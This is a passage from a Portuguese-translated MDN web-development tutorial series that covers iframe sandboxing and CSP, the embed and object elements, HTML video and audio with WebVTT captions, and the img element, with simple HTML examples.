deve dar ao conteúdo incorporado *apenas a permissão para fazer o seu trabalho.* É claro, isto se aplica ao seu próprio conteúdo, também. Um container para código onde ele possa ser utilizado apropriadamente — ou para testes — mas não pode causar nenhum dano ao resto do código base (tanto acidental quanto maliciosa) é chamado sandbox.\n\nConteúdo fora de uma sandbox pode fazer muito mais que o esperado (executar JavaScript, submeter forms, criar novas janelas no navegador, etc.) Por padrão, você deve impor todas as restrições disponíveis utilizando o atributo`sandbox` sem parâmetros, como mostrado em nosso exemplo anterior.\n\nSe absolutamente necessário, você pode adicionar permissões uma a uma (dentro do valor do atributo`sandbox=\"\"`) — veja em `sandbox` as referências de entrada para todas as opções disponíveis. Uma nota importante é que você *nunca* deve adicionar ambos `allow-scripts` e `allow-same-origin` no atributo de sandbox — neste caso, conteúdo incorporado pode burlar a política de segurança de mesmo destino que impede sites de executarem scripts, e utilizar JavaScript para desativar o sandboxing completamente.\n\n**Nota:** Sandboxing não fornece nenhuma proteção se atacantes puderem enganar os usuários para que visitem conteúdo malicioso diretamete (fora de um `iframe`). Se existir qualquer chance que certo conteúdo possa ser malicioso (exemplo, conteúdo gerado por usuários), por favor forneça-o em um domain diferente de seu site principal.\n\n#### Configure directivas CSP\n\nCSP (en-US) significa **política de segurança de conteúdo (en-US)** e fornece um conjunto de cabeçalhos HTTP (en-US) (metadados enviados junto com suas páginas da web quando são veiculados de um servidor da web) projetados para melhorar a segurança do seu documento HTML. Quando se trata de proteger `<iframe>`'s, você pode *configurar seu servidor para enviar um cabeçalho `X-Frame-Options` apropriado (en-US)*. Isso pode impedir que outros sites incorporem seu conteúdo em suas páginas da Web (o que habilitaria o clickjacking e vários outros ataques), exatamente o que os desenvolvedores do MDN fizeram, como vimos anteriormente.\n\n**Nota:** Você pode ler a publicação de Frederik Braun X-Frame-Options Security Header para obter mais informações sobre este tópico. Obviamente, está fora do escopo uma explicação completa neste artigo.\n\nThe <embed> and <object> elements\n---------------------------------\n\nThe `<embed>` and `<object>` (en-US) elements serve a different function to `<iframe>` — these elements are general purpose embedding tools for embedding multiple types of external content, which include plugin technologies like Java Applets and Flash, PDF (which can be shown in a browser with a PDF plugin), and even content like videos, SVG and images!\n\n**Nota:** A **plugin**, in this context, refers to software that provides access to content the browser cannot read natively.\n\nHowever, you are unlikely to use these elements very much — Applets haven't been used for years, Flash is no longer very popular, due to a number of reasons (see The case against plugins, below), PDFs tend to be better linked to than embedded, and other content such as images and video have much better, easier elements to handle those. Plugins and these embedding methods are really a legacy technology, and we are mainly mentioning them in case you come across them in certain circumstances like intranets, or enterprise projects.\n\nIf you find yourself needing to embed plugin content, this is the kind of information you'll need, at a minimum:\n\n|  | `<embed>` | `<object>` (en-US) |\n| --- | --- | --- |\n| URL of the embedded content | `src` | `data` (en-US) |\n| *accurate* media type (en-US) of the embedded content | `type` | `type` (en-US) |\n| height and width (in CSS pixels) of the box controlled by the plugin | `height` `width` | `height` (en-US) `width` (en-US) |\n| names and values, to feed the plugin as parameters | ad hoc attributes with those names and values | single-tag `<param>` (en-US) elements, contained within `<object>` |\n| independent HTML content as fallback for an unavailable resource | not supported (`<noembed>` is obsolete) | contained within `<object>`, after `<param>` elements |\n\n**Nota:** `<object>` requires a `data` attribute, a `type` attribute, or both. If you use both, you may also use the `typemustmatch` (en-US) attribute (only implemented in Firefox, as of this writing). `typemustmatch` keeps the embedded file from running unless the `type` attribute provides the correct media type. `typemustmatch` can therefore confer significant security benefits when you're embedding content from a different origin (it can keep attackers from running arbitrary scripts through the plugin).\n\nHere's an example that uses the `<embed>` element to embed a Flash movie (see this live on Github, and check the source code too):\n\n\n```html\n<embed\n src=\"whoosh.swf\"\n quality=\"medium\"\n bgcolor=\"#ffffff\"\n width=\"550\"\n height=\"400\"\n name=\"whoosh\"\n align=\"middle\"\n allowScriptAccess=\"sameDomain\"\n allowFullScreen=\"false\"\n type=\"application/x-shockwave-flash\"\n pluginspage=\"http://www.macromedia.com/go/getflashplayer\" />\n```\n\n\nPretty horrible, isn't it? The HTML generated by the Adobe Flash tool tended to be even worse, using an `<object>` element with an `<embed>` element embedded in it, to cover all bases (check out an example.) Flash was even used successfully as fallback content for HTML5 video, for a time, but this is increasingly being seen as not necessary.\n\nNow let's look at an `<object>` example that embeds a PDF into a page (see the live example and the source code):\n\n\n```html\n<object\n data=\"mypdf.pdf\"\n type=\"application/pdf\"\n width=\"800\"\n height=\"1200\"\n typemustmatch>\n  <p>\n    You don't have a PDF plugin, but you can\n    <a href=\"mypdf.pdf\">download the PDF file. </a>\n  </p>\n</object>\n```\n\n\nPDFs were a necessary stepping stone between paper and digital, but they pose many accessibility challenges and can be hard to read on small screens. They do still tend to be popular in some circles, but it is much better to link to them so they can be downloaded or read on a separate page, rather than embedding them in a webpage.\n\n### The case against plugins\n\nOnce upon a time, plugins were indispensable on the Web. Remember the days when you had to install Adobe Flash Player just to watch a movie online? And then you constantly got annoying alerts about updating Flash Player and your Java Runtime Environment. Web technologies have since grown much more robust, and those days are over. For virtually all applications, it's time to stop delivering content that depends on plugins and start taking advantage of Web technologies instead.\n\n* **Broaden your reach to everyone.** Everyone has a browser, but plugins are increasingly rare, especially among mobile users. Since the Web is easily used without any plugins, people would rather just go to your competitors' websites than install a plugin.\n* **Give yourself a break from the extra accessibility headaches that come with Flash and other plugins.**\n* **Stay clear of additional security hazards.** Adobe Flash is notoriously insecure, even after countless patches. In 2015, Alex Stamos, then-Chief Security Officer at Facebook, requested that Adobe discontinue Flash.\n\n> \n> \\*\\*Nota:\\*\\*Due to its inherent issues and the lack of support for Flash, Adobe announced that they would stop supporting it at the end of 2020. As of January 2020, most browsers block Flash content by default, and by December 31st of 2020, all browsers will have completly removed all Flash functionality. Any existing Flash content will be inaccessable after that date.\n> \n> \n> \n\nSo what should you do? If you need interactivity, HTML and JavaScript can readily get the job done for you with no need for Java applets or outdated ActiveX/BHO technology. Instead of relying on Adobe Flash, you should use HTML5 video (en-US) for your media needs, SVG (en-US) for vector graphics, and Canvas for complex images and animations. Peter Elst was already writing some years ago that Adobe Flash is rarely the right tool for the job. As for ActiveX, even Microsoft's Edge (en-US) browser no longer supports it.\n\nTest your skills!\n-----------------\n\nYou've reached the end of the this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: Multimedia and embedding (en-US).\n\nSummary\n-------\n\nThe topic of embedding other content in web documents can quickly become very complex, so in this article, we've tried to introduce it in a simple, familiar way that will immediately seem relevant, while still hinting at some of the more advanced features of the involved technologies. To start with, you are unlikely to use embedding for much beyond including third-party content like maps and videos on your pages. As you become more experienced, however, you are likely to start finding more uses for them.\n\nThere are many other technologies that involve embedding external content besides the ones we discussed here. We saw some in earlier articles, such as `<video>`, `<audio>`, and `<img>`, but there are others to discover, such as `<canvas>` for JavaScript-generated 2D and 3D graphics, and `<svg>` for embedding vector graphics. We'll look at SVG in the next article of the module.\n\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima"}
{"title":"Conteúdo de vídeo e áudio - Aprendendo desenvolvimento web","text":"Conteúdo de vídeo e áudio\n=========================\n\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima\n\nAgora que estamos à vontade para adicionar imagens simples a uma página da Web, o próximo passo é começar a adicionar players de vídeo e áudio aos seus documentos HTML! Neste artigo vamos olhar para fazer exatamente isso com os elementos `<video>` e `<audio>` ; Então, vamos terminar de olhar como adicionar legendas/subtítulos aos seus vídeos.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Alfabetização básica em informática,\n software básico instalado,\n conhecimento básico de\n trabalhar com arquivos\n ,\n familiaridade com os fundamentos HTML\n (Como coberto em\n Introdução ao HTML) e\n Images in HTML.\n  |\n| Objetivo: | \n Para aprender a incorporar conteúdo de vídeo e áudio em uma página\n da Web e adicionar legendas/subtítulos ao vídeo.\n  |\n\nAudio e video na web\n--------------------\n\nOs desenvolvedores da Web quiseram usar vídeo e áudio na Web por um longo tempo, desde o início dos anos 2000, quando começamos a ter largura de banda rápida o suficiente para suportar qualquer tipo de vídeo ( Os arquivos de vídeo são muito maiores que o texto ou mesmo imagens.). Nos primeiros dias, as tecnologias web nativas, como o HTML, não tinham a capacidade de incorporar vídeo e áudio na Web, de modo que as tecnologias proprietárias (ou baseado em plugin) como o Flash (e depois, Silverlight) tornaram-se populares para lidar com esse conteúdo . Esse tipo de tecnologia funcionou bem, mas teve vários problemas, incluindo não funcionar bem com recursos HTML/CSS, problemas de segurança e problemas de acessibilidade.\n\nUma solução nativa resolveria muito disso, se bem feita. Felizmente, alguns anos depois, o HTML5 (en-US) especificação tinha tais recursos adicionados, com o `<video>` e`<audio>` elementos, e alguns novos brilhantes JavaScript APIs por controlá-los. Não veremos o JavaScript aqui - apenas os fundamentos básicos que podem ser alcançados com o HTML.\n\nNão ensinaremos como produzir arquivos de áudio e vídeo - isso requer um conjunto de habilidades completamente diferente. Nós fornecemos a você amostras de arquivos de áudio e vídeo e exemplos de códigos para sua própria experimentação, caso você não consiga se apossar.\n\n**Nota:** Antes de começar aqui, você também deve saber que existem algumas OVPs (fornecedores de vídeo online) como YouTube, Dailymotion, e Vimeo, e provedores de áudio on-line como Soundcloud. Essas empresas oferecem uma maneira conveniente e fácil de hospedar e consumir vídeos, para que você não precise se preocupar com o enorme consumo de largura de banda. Os OVPs geralmente oferecem código pronto para incorporar vídeo / áudio em suas páginas da web. Se você seguir esse caminho, poderá evitar algumas das dificuldades que discutimos neste artigo. Discutiremos esse tipo de serviço um pouco mais no próximo artigo.\n\n### O elemento <video>\n\nO elemento `<video>` permite incorporar um vídeo com muita facilidade. Um exemplo realmente simples é assim:\n\n\n```html\n<video src=\"rabbit320.webm\" controls>\n  <p>\n    Your browser doesn't support HTML5 video. Here is a\n    <a href=\"rabbit320.webm\">link to the video</a> instead.\n  </p>\n</video>\n```\n\n\nOs recursos da nota são:\n\n`src`\n\nDa mesma maneira que para o elemento `<img>`, O atributo `src` contém um caminho para o vídeo que você deseja incorporar. Funciona exatamente da mesma maneira.\n\n`controls`\n\nOs usuários devem poder controlar a reprodução de vídeo e áudio (isso é especialmente crítico para pessoas que possuem epilepsy.) Você deve usar o atributo `controls` para incluir a própria interface de controle do navegador ou criar sua interface usando o apropriado JavaScript API (en-US). No mínimo, a interface deve incluir uma maneira de iniciar e parar a mídia e ajustar o volume.\n\nO parágrafo dentro do `<video>` tags\n\nIsso é chamado de **conteúdo alternativo** - será exibido se o navegador que acessa a página não suportar o elemento `<video>`, permitindo fornecer um substituto para navegadores mais antigos. Isso pode ser o que você quiser; nesse caso, fornecemos um link direto para o arquivo de vídeo, para que o usuário possa acessá-lo de alguma forma, independentemente do navegador que estiver usando.\n\nO vídeo incorporado será mais ou menos assim:\n\n![A simple video player showing a video of a small white rabbit](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/simple-video.png)\n\nVocê pode tentar o exemplo ao vivo aqui (veja também o código fonte.)\n\n### Usando vários formatos de origem para melhorar a compatibilidade\n\nHá um problema no exemplo acima, que você já deve ter notado se você tentou acessar o link do video acima em navegadores mais antigos como Internet Explorer ou até mesmo uma versão antiga do Safari. O vídeo não será reproduzido, porque navegadores diferentes suportam diferentes formatos de vídeo (e áudio). Felizmente, existem coisas que você pode fazer para ajudar a evitar que isso seja um problema.\n\n#### Conteúdo de um arquivo de mídia\n\nPrimeiro, vamos analisar a terminologia rapidamente. Formatos como MP3, MP4 e WebM são chamados de arquivos recipiente (formatos de contêiner). Eles definem uma estrutura na qual cada faixa de áudio e / ou vídeo que compõe a mídia é armazenada, juntamente com os metadados que descrevem a mídia, quais codecs são usados para codificar seus canais e assim por diante.\n\nAs faixas de áudio e vídeo também estão em diferentes formatos, por exemplo:\n\n* Um contêiner WebM geralmente empacota o áudio do Ogg Vorbis com vídeo VP8 / VP9. Isso é suportado principalmente no Firefox e Chrome.\n* Um contêiner MP4 geralmente empacota áudio AAC ou MP3 com vídeo H.264. Isso é suportado principalmente no Internet Explorer e Safari.\n* O contêiner Ogg mais antigo tende a usar o áudio Ogg Vorbis e o vídeo Ogg Theora. Isso foi suportado principalmente no Firefox e Chrome, mas foi basicamente substituído pelo formato WebM de melhor qualidade.\n\nExistem alguns casos especiais. Por exemplo, para alguns tipos de áudio, os dados de um codec geralmente são armazenados sem um contêiner ou com um contêiner simplificado. Uma dessas instâncias é o codec FLAC, que é armazenado com mais frequência em arquivos FLAC, que são apenas faixas FLAC brutas.\n\nOutra situação é o sempre popular arquivo MP3. Um \"arquivo MP3\" é na verdade uma faixa de áudio MPEG-1 Audio Layer III (MP3) armazenada em um contêiner MPEG ou MPEG-2. Isso é especialmente interessante, pois embora a maioria dos navegadores não suporte o uso de mídia MPEG nos elementos `<video>` e `<audio>`, eles ainda podem suportar MP3 devido à sua popularidade.\n\nUm reprodutor de áudio tenderá a reproduzir uma faixa de áudio diretamente, por exemplo um arquivo MP3 ou Ogg. Estes não precisam de contêineres.\n\n**Nota:** Não é tão simples, como você pode ver no nosso tabela de compatibilidade de codec de áudio e vídeo. Além disso, muitos navegadores de plataforma móvel podem reproduzir um formato não suportado, entregando-o ao reprodutor de mídia do sistema subjacente. Mas isso servirá por enquanto.\n\n#### Suporte a arquivos de mídia em navegadores\n\nOs codecs descritos na seção anterior existem para compactar vídeo e áudio em arquivos gerenciáveis, pois o áudio e o vídeo bruto são extremamente grandes. Cada navegador da web suporta uma variedade de **Codecs (en-US)**, como Vorbis ou H.264, que são usados para converter o áudio e o vídeo compactados em dados binários e vice-versa. Cada codec oferece suas próprias vantagens e desvantagens, e cada contêiner também pode oferecer seus próprios recursos positivos e negativos, afetando suas decisões sobre qual usar.\n\nAs coisas se tornam um pouco mais complicadas porque cada navegador não apenas suporta um conjunto diferente de formatos de arquivo de contêiner, como também suporta uma seleção diferente de codecs. Para maximizar a probabilidade de seu site ou aplicativo funcionar no navegador de um usuário, você pode precisar fornecer cada arquivo de mídia usado em vários formatos. Se o seu site e o navegador do usuário não compartilharem um formato de mídia em comum, sua mídia simplesmente não será reproduzida.\n\nDevido à complexidade de garantir que a mídia do aplicativo seja visível em todas as combinações de navegadores, plataformas e dispositivos que você deseja acessar, a escolha da melhor combinação de codecs e contêiner pode ser uma tarefa complicada. Veja Escolhendo o contêiner certo (en-US) para obter ajuda na seleção do formato de arquivo do contêiner mais adequado às suas necessidades; Da mesma forma, veja Escolhendo o codec de vídeo (en-US) e Escolhendo o codec de aúdio (en-US) para obter ajuda na seleção dos primeiros codecs de mídia a serem usados no seu conteúdo e no seu público-alvo.\n\nUm aspecto adicional a ter em mente: os navegadores móveis podem suportar formatos adicionais não compatíveis com seus equivalentes de desktop, assim como podem não suportar os mesmos formatos da versão para desktop. Além disso, os navegadores de desktop e móveis *podem* ser projetados para descarregar o manuseio da reprodução de mídia (para todas as mídias ou apenas para tipos específicos que não podem ser tratados internamente). Isso significa que o suporte à mídia depende parcialmente do software que o usuário instalou.\n\n**Nota:** Você pode estar se perguntando por que essa situação existe. **MP3** (para áudio) e **MP4 / H.264** (para vídeo) são amplamente suportados e de boa qualidade. No entanto, eles também são patenteados - as patentes americanas cobrem o MP3 até pelo menos 2017 e o H.264 até 2027, o que significa que os navegadores que não possuem a patente precisam pagar grandes quantias para suportar esses formatos. Além disso, muitas pessoas evitam, por princípio, software restrito, a favor de formatos abertos. É por isso que precisamos fornecer vários formatos para diferentes navegadores.\n\nEntão, como fazemos isso? Dê uma olhada no seguinte exemplo atualizado(tente ao vivo aqui, também):\n\n\n```html\n<video controls>\n  <source src=\"rabbit320.mp4\" type=\"video/mp4\" />\n  <source src=\"rabbit320.webm\" type=\"video/webm\" />\n  <p>\n    Your browser doesn't support HTML5 video. Here is a\n    <a href=\"rabbit320.mp4\">link to the video</a> instead.\n  </p>\n</video>\n```\n\n\nAqui nós tiramos o atributo `src` (source) do `<video>` tag, mas incluímos os elementos `<source>` que apontam para suas próprias fontes. Nesse caso, o navegador passará pelo elemento `<source>` e reproduza o primeiro que ele possui o codec para suportar. A inclusão de fontes WebM e MP4 deve ser suficiente para reproduzir seu vídeo na maioria das plataformas e navegadores atualmente.\n\nCada elemento `<source>` também tem um atributo `type`. Isso é opcional, mas é recomendável que você os inclua - eles contêm o MIME types (en-US) dos arquivos de vídeo, e os navegadores podem lê-los e pular imediatamente os vídeos que não entendem. Se não estiverem incluídos, os navegadores carregarão e tentarão reproduzir cada arquivo até encontrar um que funcione, consumindo ainda mais tempo e recursos.\n\n**Nota:** Consulte o nosso guia sobre tipos e formatos de mídias (inglês) para obter ajuda na seleção dos melhores contêineres e codecs para suas necessidades, bem como procurar os tipos MIME certos para especificar cada\n\n### Outros recursos de <video>\n\nHá vários outros recursos que você pode incluir em um vídeo HTML5. Dê uma olhada no nosso terceiro exemplo, abaixo:\n\n\n```html\n<video\n controls\n width=\"400\"\n height=\"400\"\n autoplay\n loop\n muted\n poster=\"poster.png\">\n  <source src=\"rabbit320.mp4\" type=\"video/mp4\" />\n  <source src=\"rabbit320.webm\" type=\"video/webm\" />\n  <p>\n    Your browser doesn't support HTML5 video. Here is a\n    <a href=\"rabbit320.mp4\">link to the video</a> instead.\n  </p>\n</video>\n```\n\n\nIsso nos dará uma saída parecida com esta:\n\n![A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/extra-video-features.png)Os novos recursos são:\n\n`width` and `height`\n\nVocê pode controlar o tamanho do vídeo com esses atributos ou com CSS. Nos dois casos, os vídeos mantêm sua proporção largura-altura nativa - conhecida como **proporção de tela**. Se a proporção não for mantida pelos tamanhos definidos, o vídeo aumentará para preencher o espaço horizontalmente, e o espaço não preenchido receberá apenas uma cor sólida de fundo por padrão.\n\n`autoplay`\n\nFaz com que o áudio ou o vídeo comece a ser reproduzido imediatamente, enquanto o restante da página está sendo carregado. É aconselhável não usar vídeo (ou áudio) de reprodução automática em seus sites, porque os usuários podem achar isso realmente irritante.\n\n`loop`\n\nFaz com que o vídeo (ou áudio) comece a ser reproduzido novamente sempre que terminar. Isso também pode ser irritante, portanto, use apenas se for realmente necessário.\n\n`muted`\n\nFaz com que a mídia seja reproduzida com o som desativado por padrão.\n\n`poster`\n\nO URL de uma imagem que será exibida antes da reprodução do vídeo. Destina-se a ser usado para uma tela inicial ou tela de publicidade.\n\n`preload`\n\nUsado para armazenar arquivos grandes em buffer; pode levar um dos três valores:\n\n* `\"none\"` não armazena em buffer o arquivo\n* `\"auto\"` armazena em buffer o arquivo de mídia\n* `\"metadata\"` armazena em buffer apenas os metadados do arquivo\n\nVocê pode encontrar o exemplo acima disponível para tocar ao vivo no Github (veja também o código fonte.) Observe que não incluímos o atributo `autoplay` na versão ao vivo - se o vídeo começar a ser reproduzido assim que a página for carregada, você não poderá ver o pôster!\n\n### O elemento <audio>\n\nO elemento `<audio>` funciona exatamente como o elemento `<video>`, com algumas pequenas diferenças, conforme descrito abaixo. Um exemplo típico pode parecer assim:\n\n\n```html\n<audio controls>\n  <source src=\"viper.mp3\" type=\"audio/mp3\" />\n  <source src=\"viper.ogg\" type=\"audio/ogg\" />\n  <p>\n    Your browser doesn't support HTML5 audio. Here is a\n    <a href=\"viper.mp3\">link to the audio</a> instead.\n  </p>\n</audio>\n```\n\n\nIsso produz algo como o seguinte em um navegador:\n\n![A simple audio player with a play button, timer, volume control, and progress bar](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/audio-player.png)\n\n**Nota:** You can run the audio demo live on Github (also see the audio player source code.)\n\nIsso ocupa menos espaço do que um reprodutor de vídeo, pois não há componente visual - você só precisa exibir controles para reproduzir o áudio. Outras diferenças do vídeo HTML5 são as seguintes:\n\n* O elemento `<audio>` não suporta os atributos `width`/`height` — novamente, não há componente visual; portanto, não há nada para atribuir uma largura ou altura.\n* Também não suporta o atributo `poster` — novamente, não há componente visual\n\nMais do que isso, `<audio>` suporta todos os mesmos recursos que `<video>` — revise as seções acima para obter mais informações sobre elas.\n\n### Reiniciando a reprodução de mídia\n\nA qualquer momento, você pode redefinir a mídia para o início, incluindo o processo de seleção da melhor fonte de mídia, se mais de uma for especificada usando o elemento `<source>` — chamando o método `load()` (en-US) do elemento:\n```\n\nconst mediaElem = document.getElementById(\"my-media-element\");\nmediaElem.load();\n```\n\n### Detectando adição e remoção de faixas\n\nVocê pode monitorar as listas de faixas em um elemento de mídia para detectar quando as faixas são adicionadas ou removidas da mídia do elemento. Por exemplo, você pode assistir ao evento `addtrack` ser disparado no objeto associado `AudioTrackList` (en-US) (recuperado por meio de `HTMLMediaElement.audioTracks` (en-US) ) para ser informado quando as faixas de áudio forem adicionadas à mídia:\n```\n\nconst mediaElem = document.querySelector(\"video\");\nmediaElem.audioTracks.onaddtrack = function(event) {\n  audioTrackAdded(event.track);\n}\n```\n\n\nVocê encontrará mais informações sobre isso na nossa documentação `TrackEvent` (en-US).\n\nExibindo trilhas de texto em vídeo\n----------------------------------\n\nAgora discutiremos um conceito um pouco mais avançado que é realmente útil para se conhecer. Muitas pessoas não podem ou não querem ouvir o conteúdo de áudio / vídeo que encontram na Web, pelo menos em determinados momentos. Por exemplo:\n\n* Muitas pessoas têm problemas auditivos (mais comumente conhecidos como deficientes auditivos ou surdos), portanto, não conseguem ouvir o áudio.\n* Outros podem não conseguir ouvir o áudio porque estão em ambientes barulhentos (como um bar lotado quando um jogo de esportes está sendo exibido) ou podem não querer incomodar os outros se estiverem em um local silencioso (como uma biblioteca).\n* As pessoas que não falam o idioma do vídeo podem querer uma transcrição de texto ou mesmo tradução para ajudá-las a entender o conteúdo da mídia.\n* Da mesma forma, em ambientes em que a reprodução do áudio seria uma distração ou perturbação (como em uma biblioteca ou quando um parceiro está tentando dormir), ter legendas pode ser muito útil.\n\nNão seria bom poder fornecer a essas pessoas uma transcrição das palavras que estão sendo ditas no áudio / vídeo? Bem, graças ao vídeo HTML5, você pode, com o formato WebVTT (en-US) e o elemento `<track>`.\n\n**Nota:** \"Transcrever\" significa \"escrever as palavras faladas como texto\". O texto resultante é uma \"transcrição\".\n\nO WebVTT é um formato para gravar arquivos de texto contendo várias seqüências de texto, juntamente com metadados, como a que horas do vídeo você deseja que cada sequência de texto seja exibida e até informações limitadas sobre estilo / posicionamento. Essas cadeias de texto são chamadas de **pistas** e existem vários tipos de pistas que são usadas para propósitos diferentes. As dicas mais comuns são:\n\nsubtitles\n\nTraduções de material estrangeiro, para pessoas que não entendem as palavras ditas no áudio.\n\ncaptions\n\nTranscrições sincronizadas de diálogos ou descrições de sons significativos, para permitir que as pessoas que não conseguem ouvir o áudio entendam o que está acontecendo.\n\ntimed descriptions\n\nTexto que deve ser falado pelo media player para descrever elementos visuais importantes para usuários cegos ou deficientes visuais.\n\nUm arquivo WebVTT típico terá a seguinte aparência:\n```\n\nWEBVTT\n\n1\n00:00:22.230 --> 00:00:24.606\nThis is the first subtitle.\n\n2\n00:00:30.739 --> 00:00:34.074\nThis is the second.\n\n  ...\n```\n\n\nPara que isso seja exibido juntamente com a reprodução de mídia HTML, você precisa:\n\n1. Salve-o como um arquivo `.vtt` em um local adequado.\n2. Vincule ao arquivo `.vtt` com o elemento `<track>`. `<track>` deve ser colocado dentro de `<audio>` ou `<video>`, mas depois de todos os elementos `<source>`. Use o atributo `kind` para especificar se as pistas são `subtitles`, `captions,`ou `descriptions`. Além disso, use `srclang` para informar ao navegador em que idioma você escreveu as legendas.\n\nAqui está um exemplo:\n\n\n```html\n<video controls>\n  <source src=\"example.mp4\" type=\"video/mp4\" />\n  <source src=\"example.webm\" type=\"video/webm\" />\n  <track kind=\"subtitles\" src=\"subtitles\\_en.vtt\" srclang=\"en\" />\n</video>\n```\n\n\nIsso resultará em um vídeo com legendas exibidas, mais ou menos assim:\n\n![Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads \"Esta hoja tiene pasado oscuro.\"](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/video-player-with-captions.png)\n\nPara mais detalhes, leia Adicionando legendas e legendas ao vídeo HTML5. Você pode encontrar o exemplo que acompanha este artigo no Github, escrito por Ian Devlin (consulte o código-fonte também.) Este exemplo usa algum JavaScript para permitir que os usuários escolham entre diferentes legendas. Observe que, para ativar as legendas, você precisa pressionar o botão \"CC\" e selecionar uma opção - inglês, alemão ou espanhol.\n\n**Nota:** As faixas de texto também ajudam você com o SEO, pois os mecanismos de pesquisa prosperam especialmente no texto. As trilhas de texto permitem até que os mecanismos de pesquisa sejam vinculados diretamente a um ponto no meio do vídeo.\n\n### Aprendizado ativo: incorporando seu próprio áudio e vídeo\n\nPara esse aprendizado ativo, gostaríamos (idealmente) de você sair para o mundo e gravar alguns de seus próprios vídeos e áudio - a maioria dos telefones hoje em dia permite gravar áudio e vídeo com muita facilidade, e desde que você possa transferi-lo para o seu computador, você pode usá-lo. Talvez você precise fazer algumas conversões para obter um WebM e MP4 no caso de vídeo e um MP3 e Ogg no caso de áudio, mas existem programas suficientes disponíveis para permitir isso sem problemas, como o Miro Video Converter e o Audacity. Gostaríamos que você experimentasse!\n\nSe você não conseguir obter nenhum vídeo ou áudio, pode usar nossos exemplos de arquivos de áudio e vídeo para realizar este exercício. Você também pode usar nosso código de exemplo para referência.\n\nGostaríamos que você:\n\n1. Salve seus arquivos de áudio e vídeo em um novo diretório no seu computador.\n2. Crie um novo arquivo HTML no mesmo diretório, chamado `index.html`.\n3. Adicione elementos `<audio>` e `<video>` à página; faça com que eles exibam os controles padrão do navegador.\n4. Forneça os dois elementos `<source>` para que os navegadores encontrem o formato de áudio mais compatível e o carreguem. Isso deve incluir atributos de `type`.\n5. Dê ao elemento `<video>` um pôster que será exibido antes que o vídeo comece a ser reproduzido. Divirta-se criando seu próprio gráfico de pôster.\n\nPara um bônus adicional, você pode tentar pesquisar faixas de texto e descobrir como adicionar legendas ao seu vídeo.\n\nResumo\n------\n\nE isso é um tudo; esperamos que você tenha se divertido brincando com vídeo e áudio em páginas da web! No próximo artigo, veremos outras maneiras de incorporar conteúdo na Web, usando tecnologias como `<iframe>` e `<object>` (en-US).\n\nVer também\n----------\n\n* Os elementos de mídia HTML: `<audio>`, `<video>`, `<source>`, `<track>`.\n* Tecnologias de mídia da Web (en-US).\n* Guia para tipos e formatos de mídia na Web.\n* Adicionando legendas e legendas ao vídeo HTML5.\n* Entrega de áudio e vídeo: (en-US) muitos detalhes sobre como colocar áudio e vídeo em páginas da Web usando HTML e JavaScript.\n* Manipulação de áudio e vídeo: (en-US) muitos detalhes sobre a manipulação de áudio e vídeo usando JavaScript (por exemplo, adicionando filtros).\n* Opções automatizadas para traduzir multimídia.\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima"}
{"title":"Imagens no HTML - Aprendendo desenvolvimento web","text":"Imagens no HTML\n===============\n\n* Menu: Multimedia and embedding\n* Próxima\n\nNo início a Web era somente texto, e era tedioso. Felizmente, não demorou muito para que a capacidade de incorporar imagens (e outros tipos de conteúdo mais interessantes) dentro das páginas da web fosse adicionada. Existem outros tipo de mídia para se considerar, mas é lógico começar com o humilde elemento `<img>`, usado para inserir uma simples imagem em uma página web. Neste artigo, analisaremos como dominar seu uso, incluindo o básico, anotando-o com legendas usando o elemento `<figure>`, e detalhando como ele se relaciona com imagens de fundo do CSS.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico em informática,\n Instalando os Programas Básicos, conhecimento básico em\n lidando com arquivos, familiaridade com fundamentos do HTML (como abordado em\n Iniciando com HTML.)\n  |\n| Objetivos: | \n Para aprender a incorporar imagens simples em HTML, anote-as com\n legendas e como as imagens HTML se relacionam às imagens de plano de\n fundo CSS.\n  |\n\nComo colocamos uma imagem numa página web?\n------------------------------------------\n\nPara colocar uma única imagem em uma página da web, usamos o elemento `<img>`. Isso é um elemento vazio (quer dizer que não possui conteúdo de texto ou tag de fechamento) que requer no mínimo um atributo para ser útil — `src` (às vezes pronunciado como seu título completo, *source*). O atributo src contém um caminho apontando para a imagem que você deseja incorporar na página, que pode ser uma URL relativa ou absoluta, da mesma maneira que o valores de atributo `href` no elemento `<a>`.\n\n**Nota:** Antes de continuar, você deveria ler Um guia rápido sobre URLs e caminhos para refrescar sua memória sobre URL relativo e absoluto.\n\nPor exemplo, se sua imagem for chamada `dinossauro.jpg`, e está no mesmo diretório de sua página HTML, você poderia inserir a imagem assim:\n\n\n```html\n<img src=\"dinossauro.jpg\" />\n```\n\n\nSe a imagem estivesse em um subdiretório de `images`, que estivesse dentro do mesmo diretório da página HTML (que o Google recomenda para fins de indexição/SEO), então você a incorporaria da seguinte maneira:\n\n\n```html\n<img src=\"images/dinossauro.jpg\" />\n```\n\n\nE assim por diante.\n\n**Nota:** Os mecanismos de pesquisa também leem os nomes dos arquivos de imagem e os contam para o SEO. Portanto, dê à sua imagem um nome de arquivo descritivo; `dinosaur.jpg` é melhor que `img835.png`.\n\nVocê pode incorporar a imagem usando seu URL absoluto, por exemplo:\n\n\n```html\n<img src=\"https://www.example.com/images/dinosaur.jpg\" />\n```\n\n\nMas isso é inútil, pois apenas faz o navegador trabalhar mais, pesquisando o endereço IP do servidor DNS novamente, etc. Você quase sempre manterá as imagens do seu site no mesmo servidor que o HTML.\n\n**Aviso:** A maioria das imagens tem direitos autorais. Não exiba uma imagem em sua página da web, a menos que:\n\n 1) você é o dono da imagem\n 2) você recebeu permissão explícita e por escrito do proprietário da imagem, ou\n 3) você tem ampla prova de que a imagem é, de fato, de domínio público.\n\n\nViolações de direitos autorais são ilegais e antiéticas. Além disso, **nunca** aponte seu atributo `src` para uma imagem hospedada no site de outra pessoa à qual você não tem permissão para vincular. Isso é chamado de \"hotlinking\". Mais uma vez, 